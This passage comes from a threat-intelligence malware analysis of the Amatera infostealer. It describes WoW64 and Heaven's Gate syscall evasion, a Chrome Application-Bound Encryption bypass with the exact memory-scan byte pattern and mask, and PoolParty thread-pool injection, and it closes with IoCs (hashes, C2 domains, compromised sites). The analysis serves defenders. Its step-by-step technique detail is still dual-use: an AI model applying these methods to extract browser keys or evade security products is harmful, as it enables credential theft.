First, it is appropriate to acknowledge <a href="https://cloud.google.com/blog/topics/threat-intelligence/wow64-subsystem-internals-and-hooking-techniques">Stephen Eckels</a>, whose article <a href="https://cloud.google.com/blog/topics/threat-intelligence/wow64-subsystem-internals-and-hooking-techniques">WOW64!Hooks: WOW64 Subsystem Internals and Hooking Techniques</a> explains the mechanisms discussed below in greater detail. Second, it is worth highlighting that Amatera is a 32-bit stealer, as that is what makes the techniques described below possible.
In a 32-bit process running on 64-bit Windows, every interaction with the operating system has to eventually end in the 64-bit kernel. From the process's point of view, however, everything has to look as if it were running on 32-bit Windows. That is where the WoW64 (Windows on Windows) layer comes into play, seamlessly translating WinAPI calls from 32-bit user space to the 64-bit operating system kernel. Simply put, the whole mechanism is built around the fact that the process runs with two ntdlls loaded side by side: the 32-bit one the application interacts with, which "forwards" the call to the WoW64 layer, and the 64-bit one, used once the call reaches 64-bit mode.
In practice, the application calls a function in the 32-bit ntdll, which passes control to <code>ntdll!Wow64SystemServiceCall</code>. From there, the execution continues through <code>ntdll!Wow64Transition</code> and lands in <code>wow64cpu!KiFastSystemCall</code>, the stub through which the WoW64 layer leaves the 32-bit world. The transition is achieved by a far jump using the <code>0x33</code> selector, which switches the processor into 64-bit mode, where the WoW64 layer issues the actual syscall.
In an effort to be stealthier and evade user-mode hooks, Amatera skips the 32-bit ntdll part of that chain altogether, resolving the syscall numbers on its own and entering the WoW64 layer directly through <code>wow64cpu!KiFastSystemCall</code>. The transition itself is performed as an indirect call to <code>TEB-&gt;WOW32Reserved</code>, a field that conveniently holds the address of <code>wow64cpu!KiFastSystemCall</code>.
In version 4.0.2 Beta, Amatera had a dedicated stub for every syscall it wanted to invoke this way, each of them loading the masked SSN from a global, unmasking it with a XOR, and calling <code>TEB-&gt;WOW32Reserved</code> directly through the <code>call large dword ptr fs:0C0h</code> instruction. However, regular applications do not make direct calls to <code>TEB-&gt;WOW32Reserved</code>, making the sequence fairly noisy.

That is why, in newer versions, Amatera no longer invokes <code>TEB-&gt;WOW32Reserved</code> directly. Instead, it uses indirect calls routed through a global variable holding the same transition address. On top of that, most of the stubs have been padded with random junk instructions scattered between the remaining instructions, so that the stubs leave behind neither the <code>fs:0C0h</code> reference nor the uniform layout.

Moreover, the address of <code>wow64cpu!KiFastSystemCall</code> that is stored in that global variable is not retrieved by a simple read of <code>fs:[0xC0]</code>, but through a dedicated Heaven's Gate stub. Newer versions also check the resolved transition address before putting it to use, by verifying that it falls within the range of <code>wow64cpu.dll</code>, i.e. that the gate has not been redirected elsewhere (hooked).

<h3>x64 Syscall Trampolines Executed Through Heaven's Gate</h3>
Being a 32-bit process, however, also brings other challenges Amatera has to deal with, most notably when interacting with 64-bit browsers during the Application-Bound Encryption (ABE) bypass. Reaching into a 64-bit process requires working with 64-bit pointers, which do not fit through the WoW64 gate, and while the 32-bit ntdll exposes a handful of <code>NtWow64*</code> helpers for exactly that purpose (such as, for example, <code>NtWow64AllocateVirtualMemory64</code> or <code>NtWow64WriteVirtualMemory64</code>), they do not cover everything Amatera requires for its injection technique.
That is why Amatera employs Heaven's Gate, a technique that allows 64-bit code to be executed from within a 32-bit process on a 64-bit operating system (essentially, a manual version of the mode switch the WoW64 layer performs internally, naturally skipping the 32-bit ntdll layer as well). Heaven's Gate, as such, however, is nothing new in Amatera and has been there for quite some time already. What has changed is what the Gate leads to for a part of the calls Amatera makes through it.
In version 4.0.2 Beta, Amatera used Heaven's Gate to invoke 64-bit ntdll exported functions, passing the arguments according to the standard Microsoft x64 calling convention, with the execution therefore going through the export's prologue. However, just as AV and EDR products can hook exported functions in the 32-bit ntdll, they can hook the 64-bit ones as well. To avoid that, in newer versions, a fixed set of twelve syscalls (for example, <code>NtReadVirtualMemory</code>, <code>NtWriteVirtualMemory</code>, <code>NtAllocateVirtualMemory</code>, <code>NtMapViewOfSection</code>, and <code>NtSetIoCompletion</code>) is set up to skip the export entirely, with Amatera resolving their syscall numbers on its own (and validating them against a pristine copy of ntdll read from disk) and issuing each call through an indirect x64 syscall trampoline built at runtime.
Each trampoline consists of a 24-byte stub containing <code>mov r10, rcx</code>, <code>mov eax, SSN</code>, and a RIP-relative indirect jump to a <code>syscall; ret</code> gadget inside ntdll (located by scanning the ntdll mapped in memory). To build and execute them, Amatera creates a section with <code>NtCreateSection</code> and maps it twice in its own process using <code>NtMapViewOfSection</code>: once with <code>RW</code> permissions for writing the stubs and once with <code>RX</code> permissions for running them.

<h3>Revamped Application-Bound Encryption Bypass</h3>
Up until recently, Amatera bypassed Application-Bound Encryption the same way most stealers do, i.e., by injecting a payload into the browser process and invoking <code>IElevator::DecryptData</code> through the COM interface to decrypt the <code>v20_master_key</code> directly from the browser's context.
Since version 4.1.0-alpha.1, however, the bypass has been revamped into an approach that closely resembles that of Remus/Lumma. In fact, the bypass is so alike that we believe Amatera's implementation was directly inspired by it. Therefore, as we have already covered the technique in <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer">our previous blog post</a>, we will only do a quick recap of the bypass's main idea and focus solely on where Amatera's approach differs. For interested readers, we recommend revisiting our earlier post.
From a high-level perspective, the bypass relies on the fact that a running Chromium-based browser keeps the <code>v20_master_key</code> stored in memory. There, however, the key is protected with <code>CryptProtectMemory</code> using the <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code> flag, which limits decryption to the process that encrypted the data. Therefore, the bypass comes down to locating the protected key and injecting a payload that decrypts it using the complementary <code>CryptUnprotectMemory</code> from within the browser's context.
To find the key, Amatera, just like Remus and Lumma, scans the browser's memory for a 20-byte pattern, trying to find the <code>lea</code> instruction that loads the address of the <code>os_crypt_async::Encryptor</code> vftable, as that is the class holding the protected <code>v20_master_key</code>. On a match, it resolves the vftable address using the displacement of the <code>lea</code> instruction, and since a pointer to it sits at the very beginning of every instance of that class, a second scan of the browser's memory makes it possible to locate a live instance holding the key. From there, extracting the protected <code>v20_master_key</code> is just a matter of walking the object's tree of key entries and taking the one tagged <code>v20</code>.
The clearest evidence of the shared origin, however, is the signature itself. Amatera builds the pattern as <code>48 8D 05 00 00 00 00 48 89 01 48 8B 02 48 89 41 00 48 8D 41</code> and pairs it with the wildcard mask <code>0xEFF87</code>, the very same mask Remus applies to <code>48 8D 05 8B CC 8D 02 48 89 01 48 8B 02 48 89 41 5B 48 8D 41</code>. Breaking it down, the only positions in which the two patterns differ are the four displacement bytes of the <code>lea</code> instruction and the displacement byte of the <code>mov</code> instruction. These are precisely the five bytes the mask excludes from the comparison, which Amatera leaves zeroed out, while Remus keeps the values from whichever <code>chrome.dll</code> build the pattern was lifted from. Everything else, the mask included, matches byte for byte.

Where Amatera's approach differs is in the size of the injected payload and the way it is injected into the browser. Remus and Lumma get by with less than a hundred bytes of shellcode as the payload has a single job: to call <code>CryptUnprotectMemory</code> on the memory pointing to the encrypted <code>v20_master_key</code> and copy it into a pre-allocated buffer. Amatera's payload is considerably larger (thousands of bytes), but it also does considerably more. Besides the logic for decrypting the key, the payload carries the entire logic for locating it, as well as the logic for recovering the legacy <code>v10_master_key</code>.
To get the payload into the browser, Amatera creates two sections and maps each twice, once locally and once in the browser. The first section holds the payload, mapped locally as <code>RW</code> and <code>RX</code> in the browser, whereas the second carries a configuration blob and the output area for the recovered keys, mapped as <code>RW</code> on both sides. The configuration blob holds the pointers to the native and crypto functions used by the payload, the path to the browser's <code>Local State</code>, the address of the encrypted <code>v20_master_key</code>, and the already mentioned ABE pattern with the mask should the payload need to locate the key again (by default, the key is located by the stealer itself, reading the browser's memory remotely, but the payload can repeat the search on its own as a fallback).
Finally, Amatera's approach differs in the way the payload is launched. Rather than creating a remote thread, Amatera hijacks the browser's thread pool, using the technique known as PoolParty variant 7 (Remote <code>TP_DIRECT</code> Insertion), <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">published by SafeBreach in 2023</a>. It enumerates the browser's handles with <code>NtQueryInformationProcess</code>, duplicates them with <code>NtDuplicateObject</code>, identifies the I/O completion port among them with <code>NtQueryObject</code>, and queues a <code>TP_DIRECT</code> work item on it with <code>NtSetIoCompletion</code>, leaving the execution to one of the browser's own worker threads. The work item itself is a 72-byte <code>TP_DIRECT</code> structure assembled by hand, with the callback placed at a hardcoded offset, and written into a small remote allocation. Once the work item is queued, the stealer polls the output section for a marker signaling that the payload has finished.

<h2>Summary</h2>
In this analysis, we dissected WordlistLoader, a new loader used to deliver Amatera through ClearFake campaigns. We covered the way it reconstructs shellcode from a wordlist of plain English words, the defense-evasion mechanisms it employs, and the shellcode itself that ultimately leads to the execution of Amatera.
We also covered the latest updates in Amatera, which has seen months of active development, with the effort showing most clearly in its defense evasion. Between versions 4.0.2 Beta and 4.3.3-alpha1, the stealer employed heavier static obfuscation, hardened the way it reaches the kernel through the WoW64 transition, introduced dynamically generated x64 indirect-syscall trampolines invoked through Heaven's Gate, and revamped its Application-Bound Encryption bypass into one closely resembling that of Remus/Lumma.

<h2>Indicators of Compromise (IoCs)</h2>
<h3>Compromised Websites Observed Serving ClearFake's FakeCaptchas</h3>
abogadosrosarinos[.]com 
aptisweb[.]com 
avene-hebergement[.]com 
https-xhamster[.]com 
www[.]caesarjaco[.]co[.]id/jasa-pengiriman-hewan 
skybap[.]shop
<h3>WordlistLoader</h3>
eb883ff84700245a199dfbe120c3c2012b2dbf1ec97b26721fbda3ee7445c85a 
cd598cea811d8f73ca7afffa40e5963be9a82e01bad8ffcebb104b475c091faa 
84ffddad7e2eb1f476b857321b0cd54a7a283dbdb82bd3a13ea1b49862595d20 
124f2104ca9ee75a99aa998bb016c202f43b890d0173213846fa2495db7fa0d7 
9f3c2d1f150516edcdc274c3791f4e8301807b479ddf796fc019bc910054e3a1
9a2d02fa59501e1438f852250c4fdb24086d8a0184ece32240091f91515bbf7d (UUID variant) 
e37cc7f678aa800b805aefcc57ad86251cb7b89a044c43c72be9a77f36a88e57 (UUID variant) 
596f7b1edd97a4e114413b6668151cae3c8a5c7729208d5c2150e65f9ceca6d7 (UUID variant) 
5f5b7c131c852275123ad55028c5f87692f4b206591011a13da5b085dc4df8fd (UUID variant) 
25fdc2c589a7df6dc45798b1a4a97a6a1d62d12326151e4a9a9d50fea8111b29 (UUID variant)

<h3>Amatera</h3>
9a969110c055c3f48af75ce8d2b75c2e7b898a4519a700c7a0cd1fcbc993ecad (Amatera 4.3.3-alpha1) 
7b8c30af2ca566927fb91e08c33ebb92089e86afb70d74715e5c7d8de6f9ecfc (Amatera 4.3.3-alpha1) 
d9402b049738d4679cb46f09d2511b9ac8f6842ffed29560a7e96046a811e841 (Amatera 4.3.1-alpha1) 
54ba68040413b23128455952e4a698df112a163d0498ded6f77e863d15113133 (Amatera 4.2.4-alpha2) 
8672bc4c60a731f80a57deb564f9b78b1a91607a1b5c20c12767a8ab72b09b6a (Amatera 4.2.3-alpha1) 
42095fff1452418550440d5adff87a10e6d04a704fedf2b221f83b6a974a0d73 (Amatera 4.2.2-alpha1) 
38ad801509af109dcd12a56ac931b795e39a7fcd5cd43698cccb7e051298a683 (Amatera 4.2.1-alpha1) 
88f769cf7c88e3bbbd1b72d8124b9a4b39ba8fe3e80ff76d682493033c34a598 (Amatera 4.2.0-alpha3) 
c4390e74aecd06d3bb355af7f403de0655d28cdc54fa68b1596d91c2b3bb0e46 (Amatera 4.2.0-alpha2) 
ee394ed8118d22da6054ebec9434c4c7256af27e0cb479e17100e56f7b150b25 (Amatera 4.2.0-alpha1) 
90b7c9e9910c3512f4793b577a0b9025e8995cd67ee36e46f36b7b7b80b4d65f (Amatera 4.1.5-alpha) 
fee8d5964fcc23027685ee1124a19127ce58d4692c9df831bd1b900cdb86faeb (Amatera 4.1.4-alpha) 
147276f871a5a33a611a6ee112137f3aae136ea79fcbf07361cb7d0d26c87e4d (Amatera 4.1.1 Beta) 
2833fb725862866205b37619db050fbd84e6258682fa1d9485da0ae9257b9244 (Amatera 4.1.0-alpha.1)
Amatera C2s
health[.]luminexus[.]cc 
stream[.]luminfrastructure[.]cc 
stream[.]threatenbrick[.]cc 
yw[.]enhanceblabber[.]cc 
pmpo[.]cloudvector[.]cc 
dust[.]packetflow[.]cc 
updates[.]wildtrail[.]cc 
app-api[.]lensstory[.]cc 
proxy[.]fluxautomation[.]cc 
stream[.]pawpalace[.]cc 
dist[.]runtimeconsole[.]cc 
id[.]binaryharbor[.]cc 
wss[.]infrastructurecore[.]cc 
id[.]exhumepacifier[.]cc
Amatera Dead Drops
telegra[.]ph/Executing-modules-as-scripts-06-16 
telegra[.]ph/Using-Python-as-a-Calculator-06-05 
telegra[.]ph/Jack-Little-04-18 
telegra[.]ph/Parameters-04-03 
telegra[.]ph/Jewel-03-06 
telegra[.]ph/Catnap-Skimmed-03-06

Vojtěch Moravec

Posts by Vojtěch Moravec

Free AI, at the Price of Your Prompt